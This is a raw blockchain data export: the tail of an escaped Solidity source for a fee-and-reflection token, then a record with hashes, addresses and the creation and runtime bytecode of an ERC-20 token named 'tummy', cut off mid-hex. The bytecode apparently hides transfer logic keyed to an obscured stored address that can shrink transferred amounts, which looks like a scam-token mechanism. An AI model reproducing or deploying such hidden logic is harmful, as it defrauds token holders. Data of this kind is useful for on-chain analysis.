\"transferFee\");\r\n }\r\n if (fees.burn.percentage > 0 && (!fees.burn.onlyOnSwaps || isSwap) && !exemptedFromTax) {\r\n uint256 burnFee = (originalAmount * fees.burn.percentage) / MULTIPLIER_BASIS;\r\n _transferInternal(sender, BURN_ADDRESS, burnFee, originalAmount, false);\r\n amount -= burnFee;\r\n emit TransferTax(sender, BURN_ADDRESS, burnFee, \"burnFee\");\r\n }\r\n if (fees.buyback.percentage > 0 && (!fees.buyback.onlyOnSwaps || isSwap) && !exemptedFromTax) {\r\n uint256 buybackFee = (originalAmount * fees.buyback.percentage) / MULTIPLIER_BASIS;\r\n _transferInternal(sender, buybackHandler, buybackFee, originalAmount, false);\r\n if (!_exchangePools.contains(sender) && buybackDetails.router != address(0)) {\r\n IBuyBackHandler(buybackHandler).buyback(treasury, buybackDetails);\r\n }\r\n amount -= buybackFee;\r\n emit TransferTax(sender, buybackHandler, buybackFee, \"buybackFee\");\r\n }\r\n\r\n _transferInternal(sender, recipient, amount, originalAmount, true);\r\n }\r\n\r\n function _transferReflection(address sender, address recipient, uint256 tAmount, uint256 tAmountOriginal, bool shouldReflectFee) private {\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n require(tAmount > 0, \"Transfer amount must be greater than zero\");\r\n bool isSwap = _isSwap(sender, recipient);\r\n address liquidityPoolFactory = ITokenLauncherERC20(tokenLauncher).liquidityPoolFactory();\r\n if (sender == liquidityPoolFactory || recipient == liquidityPoolFactory) {\r\n shouldReflectFee = false;\r\n }\r\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(\r\n tAmount,\r\n tAmountOriginal,\r\n isSwap,\r\n shouldReflectFee\r\n );\r\n\r\n if (isExcludedFromReflectionRewards(sender) && !isExcludedFromReflectionRewards(recipient)) {\r\n _transferFromExcluded(sender, recipient, tAmount, tTransferAmount, rAmount, rTransferAmount, shouldReflectFee);\r\n } else if (!isExcludedFromReflectionRewards(sender) && isExcludedFromReflectionRewards(recipient)) {\r\n _transferToExcluded(sender, recipient, tAmount, tTransferAmount, rAmount, rTransferAmount, shouldReflectFee);\r\n } else if (!isExcludedFromReflectionRewards(sender) && !isExcludedFromReflectionRewards(recipient)) {\r\n _transferStandard(sender, recipient, tAmount, tTransferAmount, rAmount, rTransferAmount, shouldReflectFee);\r\n } else if (isExcludedFromReflectionRewards(sender) && isExcludedFromReflectionRewards(recipient)) {\r\n _transferBothExcluded(sender, recipient, tAmount, tTransferAmount, rAmount, rTransferAmount, shouldReflectFee);\r\n }\r\n\r\n emit Transfer(sender, recipient, tTransferAmount);\r\n\r\n if (shouldReflectFee) {\r\n _reflectFee(rFee, tFee);\r\n emit TransferTax(sender, address(0), tFee, \"reflectionFee\");\r\n }\r\n }\r\n\r\n function _transferInternal(address sender, address recipient, uint256 amount, uint256 originalAmount, bool shouldReflectFee) private {\r\n if (isReflectionToken) {\r\n _transferReflection(sender, recipient, amount, originalAmount, shouldReflectFee);\r\n } else {\r\n super._transfer(sender, recipient, amount);\r\n }\r\n }\r\n\r\n function _isSwap(address sender, address recipient) internal view returns (bool) {\r\n return _exchangePools.contains(sender) || _exchangePools.contains(recipient);\r\n }\r\n\r\n function _isExemptedFromTax(address sender, address recipient) internal view returns (bool) {\r\n return _exemptedFromTax.contains(sender) || _exemptedFromTax.contains(recipient);\r\n }\r\n\r\n function _mintReflection(address account, uint256 amount) private {\r\n // increase total amounts\r\n uint256 _rAmount = amount * _getRate();\r\n totalReflection.t = totalReflection.t + amount;\r\n totalReflection.r = totalReflection.r + _rAmount;\r\n\r\n // increase tBalance if the receiver address is excluded\r\n if (isExcludedFromReflectionRewards(account)) {\r\n _tOwned[account] = _tOwned[account] + amount;\r\n }\r\n _rOwned[account] = _rOwned[account] + _rAmount;\r\n\r\n emit Transfer(address(0), account, amount);\r\n }\r\n\r\n function mint(address to, uint256 amount) external onlyRole(DEFAULT_ADMIN_ROLE) {\r\n require(totalSupply() + amount <= maxSupply, \"TokenFiERC20: max supply exceeded\");\r\n if (isReflectionToken) {\r\n _mintReflection(to, amount);\r\n } else {\r\n super._mint(to, amount);\r\n }\r\n }\r\n\r\n function updateTokenLauncher(address _newTokenLauncher) external onlyRole(DEFAULT_ADMIN_ROLE) {\r\n _revokeRole(FEE_MANAGER_ROLE, tokenLauncher);\r\n tokenLauncher = _newTokenLauncher;\r\n\r\n _grantRole(FEE_MANAGER_ROLE, _newTokenLauncher);\r\n emit TokenLauncherUpdated(_newTokenLauncher);\r\n }\r\n\r\n modifier onlyFromAdminOrLauncher() {\r\n require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender) || msg.sender == tokenLauncher, \"TokenFiERC20: must be admin\");\r\n _;\r\n }\r\n\r\n modifier onlyReflection() {\r\n require(isReflectionToken, \"TokenFiERC20: reflection not enabled\");\r\n _;\r\n }\r\n}\r\n"
}
}
}}
|
1 | 19,497,465 |
bebc198522648d03e3d93409f84a1a0d4aef8b57cb29db820e5b93e9e005575b
|
5a8605b16c37bda341fd773061053d2cfc14725d5517516b5753f2e9ece07b55
|
f8cc13e6539dd49fe4f03ed9c8244c2c3580e08f
|
f8cc13e6539dd49fe4f03ed9c8244c2c3580e08f
|
ff5f581223a73be9524888276ee3854d527e2611
|
60806040525f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801562000090575f80fd5b506040518060400160405280600581526020017f74756d6d790000000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f74756d6d7900000000000000000000000000000000000000000000000000000081525081600390816200010e919062000b6c565b50806004908162000120919062000b6c565b5050506200016333620001386200016960201b60201c565b600a62000146919062000dd9565b630221cc4c62000157919062000e29565b6200017160201b60201c565b62000fd6565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620001e4575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401620001db919062000eb6565b60405180910390fd5b65205e0d89bb676408b3366d110263885458b363012e3cce0202600555620002145f83836200021860201b60201c565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036200026c578060025f8282546200025f919062000ed1565b925050819055506200033d565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015620002f8578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401620002ef9392919062000f1c565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000386578060025f8282540392505081905550620004f0565b8260075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000417816200055c60201b60201c565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506200046f6200059560201b60201c565b5f60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200054f919062000f57565b60405180910390a3505050565b5f6200056d6200073760201b60201c565b156200058c5762000584826200080360201b60201c565b905062000590565b8190505b919050565b620005a56200082b60201b60201c565b60015f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054036200073557620006766200086960201b60201c565b60015f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b565b5f620007486200086960201b60201c565b6200079c60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166200088660201b60201c565b620007f060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166200088660201b60201c565b620007fc919062000ed1565b1015905090565b5f62ffffff61ffff8362000818919062000e29565b62000824919062000f9f565b9050919050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16905090565b5f3073ffffffffffffffffffffffffffffffffffffffff16905090565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200098457607f821691505b6020821081036200099a57620009996200093f565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620009fe7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620009c1565b62000a0a8683620009c1565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000a5462000a4e62000a488462000a22565b62000a2b565b62000a22565b9050919050565b5f819050919050565b62000a6f8362000a34565b62000a8762000a7e8262000a5b565b848454620009cd565b825550505050565b5f90565b62000a9d62000a8f565b62000aaa81848462000a64565b505050565b5b8181101562000ad15762000ac55f8262000a93565b60018101905062000ab0565b5050565b601f82111562000b205762000aea81620009a0565b62000af584620009b2565b8101602085101562000b05578190505b62000b1d62000b1485620009b2565b83018262000aaf565b50505b505050565b5f82821c905092915050565b5f62000b425f198460080262000b25565b1980831691505092915050565b5f62000b5c838362000b31565b9150826002028217905092915050565b62000b778262000908565b67ffffffffffffffff81111562000b935762000b9262000912565b5b62000b9f82546200096c565b62000bac82828562000ad5565b5f60209050601f83116001811462000be2575f841562000bcd578287015190505b62000bd9858262000b4f565b86555062000c48565b601f19841662000bf286620009a0565b5f5b8281101562000c1b5784890151825560018201915060208501945060208101905062000bf4565b8683101562000c3b578489015162000c37601f89168262000b31565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000cda5780860481111562000cb25762000cb162000c50565b5b600185161562000cc25780820291505b808102905062000cd28562000c7d565b945062000c92565b94509492505050565b5f8262000cf4576001905062000dc6565b8162000d03575f905062000dc6565b816001811462000d1c576002811462000d275762000d5d565b600191505062000dc6565b60ff84111562000d3c5762000d3b62000c50565b5b8360020a91508482111562000d565762000d5562000c50565b5b5062000dc6565b5060208310610133831016604e8410600b841016171562000d975782820a90508381111562000d915762000d9062000c50565b5b62000dc6565b62000da6848484600162000c89565b9250905081840481111562000dc05762000dbf62000c50565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000de58262000a22565b915062000df28362000dcd565b925062000e217fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ce3565b905092915050565b5f62000e358262000a22565b915062000e428362000a22565b925082820262000e528162000a22565b9150828204841483151762000e6c5762000e6b62000c50565b5b5092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000e9e8262000e73565b9050919050565b62000eb08162000e92565b82525050565b5f60208201905062000ecb5f83018462000ea5565b92915050565b5f62000edd8262000a22565b915062000eea8362000a22565b925082820190508082111562000f055762000f0462000c50565b5b92915050565b62000f168162000a22565b82525050565b5f60608201905062000f315f83018662000ea5565b62000f40602083018562000f0b565b62000f4f604083018462000f0b565b949350505050565b5f60208201905062000f6c5f83018462000f0b565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000fab8262000a22565b915062000fb88362000a22565b92508262000fcb5762000fca62000f72565b5b828204905092915050565b6112928062000fe45f395ff3fe608060405234801561000f575f80fd5b5060043610610091575f3560e01c8063313ce56711610064578063313ce5671461013157806370a082311461014f57806395d89b411461017f578063a9059cbb1461019d578063dd62ed3e146101cd57610091565b806306fdde0314610095578063095ea7b3146100b357806318160ddd146100e357806323b872dd14610101575b5f80fd5b61009d6101fd565b6040516100aa9190610e6d565b60405180910390f35b6100cd60048036038101906100c89190610f1e565b61028d565b6040516100da9190610f76565b60405180910390f35b6100eb6102af565b6040516100f89190610f9e565b60405180910390f35b61011b60048036038101906101169190610fb7565b6102b8565b6040516101289190610f76565b60405180910390f35b6101396102e6565b6040516101469190611022565b60405180910390f35b6101696004803603810190610164919061103b565b6102ee565b6040516101769190610f9e565b60405180910390f35b610187610333565b6040516101949190610e6d565b60405180910390f35b6101b760048036038101906101b29190610f1e565b6103c3565b6040516101c49190610f76565b60405180910390f35b6101e760048036038101906101e29190611066565b6103e5565b6040516101f49190610f9e565b60405180910390f35b60606003805461020c906110d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610238906110d1565b80156102835780601f1061025a57610100808354040283529160200191610283565b820191905f5260205f20905b81548152906001019060200180831161026657829003601f168201915b5050505050905090565b5f80610297610467565b90506102a481858561046e565b600191505092915050565b5f600254905090565b5f806102c2610467565b90506102cf858285610480565b6102da858585610512565b60019150509392505050565b5f6012905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b606060048054610342906110d1565b80601f016020809104026020016040519081016040528092919081815260200182805461036e906110d1565b80156103b95780601f10610390576101008083540402835291602001916103b9565b820191905f5260205f20905b81548152906001019060200180831161039c57829003601f168201915b5050505050905090565b5f806103cd610467565b90506103da818585610512565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b61047b8383836001610602565b505050565b5f61048b84846103e5565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461050c57818110156104fd578281836040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526004016104f493929190611110565b60405180910390fd5b61050b84848484035f610602565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610582575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016105799190611145565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036105f2575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016105e99190611145565b60405180910390fd5b6105fd8383836107d1565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610672575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016106699190611145565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036106e2575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016106d99190611145565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080156107cb578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107c29190610f9e565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610821578060025f828254610815919061118b565b925050819055506108ef565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156108aa578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016108a193929190611110565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610936578060025f8282540392505081905550610a90565b8260075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506109bf81610afa565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282540192505081905550610a0f610b21565b5f60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610aed9190610f9e565b60405180910390a3505050565b5f610b03610cb2565b15610b1857610b1182610d64565b9050610b1c565b8190505b919050565b610b29610d88565b60015f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610cb057610bf1610dc6565b60015f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b565b5f610cbb610dc6565b610d0760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103e5565b610d5360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103e5565b610d5d919061118b565b1015905090565b5f62ffffff61ffff83610d7791906111be565b610d81919061122c565b9050919050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16905090565b5f3073ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610e1a578082015181840152602081019050610dff565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610e3f82610de3565b610e498185610ded565b9350610e59818560208601610dfd565b610e6281610e25565b840191505092915050565b5f6020820190508181035f830152610e858184610e35565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610eba82610e91565b9050919050565b610eca81610eb0565b8114610ed4575f80fd5b50565b5f81359050610ee581610ec1565b92915050565b5f819050919050565b610efd81610eeb565b8114610f07575f80fd5b50565b5f81359050610f1881610ef4565b92915050565b5f8060408385031215610f3457610f33610e8d565b5b5f610f4185828601610ed7565b9250506020610f5285828601610f0a565b9150509250929050565b5f8115159050919050565b610f7081610f5c565b82525050565b5f602082019050610f895f830184610f67565b92915050565b610f9881610eeb565b82525050565b5f602082019050610fb15f830184610f8f565b92915050565b5f805f60608486031215610fce57610fcd610e8d565b5b5f610fdb86828701610ed7565b9350506020610fec86828701610ed7565b9250506040610ffd86828701610f0a565b9150509250925092565b5f60ff82169050919050565b61101c81611007565b82525050565b5f6020820190506110355f830184611013565b92915050565b5f602082840312156110505761104f610e8d565b5b5f61105d84828501610ed7565b91505092915050565b5f806040838503121561107c5761107b610e8d565b5b5f61108985828601610ed7565b925050602061109a85828601610ed7565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806110e857607f821691505b6020821081036110fb576110fa6110a4565b5b50919050565b61110a81610eb0565b82525050565b5f6060820190506111235f830186611101565b6111306020830185610f8f565b61113d6040830184610f8f565b949350505050565b5f6020820190506111585f830184611101565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61119582610eeb565b91506111a083610eeb565b92508282019050808211156111b8576111b761115e565b5b92915050565b5f6111c882610eeb565b91506111d383610eeb565b92508282026111e181610eeb565b915082820484148315176111f8576111f761115e565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61123682610eeb565b915061124183610eeb565b925082611251576112506111ff565b5b82820490509291505056fea26469706673582212205abba4a4f862610b374fab85d9102923e44082ba7bf68e0b807c3b74369a0bc564736f6c63430008180033
|
608060405234801561000f575f80fd5b5060043610610091575f3560e01c8063313ce56711610064578063313ce5671461013157806370a082311461014f57806395d89b411461017f578063a9059cbb1461019d578063dd62ed3e146101cd57610091565b806306fdde0314610095578063095ea7b3146100b357806318160ddd146100e357806323b872dd14610101575b5f80fd5b61009d6101fd565b6040516100aa9190610e6d565b60405180910390f35b6100cd60048036038101906100c89190610f1e565b61028d565b6040516100da9190610f76565b60405180910390f35b6100eb6102af565b6040516100f89190610f9e565b60405180910390f35b61011b60048036038101906101169190610fb7565b6102b8565b6040516101289190610f76565b60405180910390f35b6101396102e6565b6040516101469190611022565b60405180910390f35b6101696004803603810190610164919061103b565b6102ee565b6040516101769190610f9e565b60405180910390f35b610187610333565b6040516101949190610e6d565b60405180910390f35b6101b760048036038101906101b29190610f1e565b6103c3565b6040516101c49190610f76565b60405180910390f35b6101e760048036038101906101e29190611066565b6103e5565b6040516101f49190610f9e565b60405180910390f35b60606003805461020c906110d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610238906110d1565b80156102835780601f1061025a57610100808354040283529160200191610283565b820191905f5260205f20905b81548152906001019060200180831161026657829003601f168201915b5050505050905090565b5f80610297610467565b90506102a481858561046e565b600191505092915050565b5f600254905090565b5f806102c2610467565b90506102cf858285610480565b6102da858585610512565b60019150509392505050565b5f6012905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b606060048054610342906110d1565b80601f016020809104026020016040519081016040528092919081815260200182805461036e906110d1565b80156103b95780601f10610390576101008083540402835291602001916103b9565b820191905f5260205f20905b81548152906001019060200180831161039c57829003601f168201915b5050505050905090565b5f806103cd610467565b90506103da818585610512565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b61047b8383836001610602565b505050565b5f61048b84846103e5565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461050c57818110156104fd578281836040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526004016104f493929190611110565b60405180910390fd5b61050b84848484035f610602565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610582575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016105799190611145565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036105f2575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016105e99190611145565b60405180910390fd5b6105fd8383836107d1565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610672575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016106699190611145565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036106e2575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016106d99190611145565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080156107cb578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107c29190610f9e565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610821578060025f828254610815919061118b565b925050819055506108ef565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156108aa578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016108a193929190611110565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610936578060025f8282540392505081905550610a90565b8260075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506109bf81610afa565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282540192505081905550610a0f610b21565b5f60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610aed9190610f9e565b60405180910390a3505050565b5f610b03610cb2565b15610b1857610b1182610d64565b9050610b1c565b8190505b919050565b610b29610d88565b60015f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610cb057610bf1610dc6565b60015f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b565b5f610cbb610dc6565b610d0760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103e5565b610d5360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103e5565b610d5d919061118b565b1015905090565b5f62ffffff61ffff83610d7791906111be565b610d81919061122c565b9050919050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16905090565b5f3073ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610e1a578082015181840152602081019050610dff565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610e3f82610de3565b610e498185610ded565b9350610e59818560208601610dfd565b610e6281610e25565b840191505092915050565b5f6020820190508181035f830152610e858184610e35565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610eba82610e91565b9050919050565b610eca81610eb0565b8114610ed4575f80fd5b50565b5f81359050610ee581610ec1565b92915050565b5f819050919050565b610efd81610eeb565b8114610f07575f80fd5b50565b5f81359050610f1881610ef4565b92915050565b5f8060408385031215610f3457610f33610e8d565b5b5f610f4185828601610ed7565b9250506020610f5285828601610f0a565b9150509250929050565b5f8115159050919050565b610f7081610f5c565b82525050565b5f602082019050610f895f830184610f67565b92915050565b610f9881610eeb565b82525050565b5f602082019050610fb15f830184610f8f565b92915050565b5f805f60608486031215610fce57610fcd610e8d565b5b5f610fdb86828701610ed7565b9350506020610fec86828701610ed7565b9250506040610ffd86828701610f0a565b9150509250925092565b5f60ff82169050919050565b61101c81611007565b82525050565b5f6020820190506110355f830184611013565b92915050565b5f602082840312156110505761104f610e8d565b5b5f61105d84828501610ed7565b91505092915050565b5f806040838503121561107c5761107b610e8d565b5b5f61108985828601610ed7565b925050602061109a85828601610ed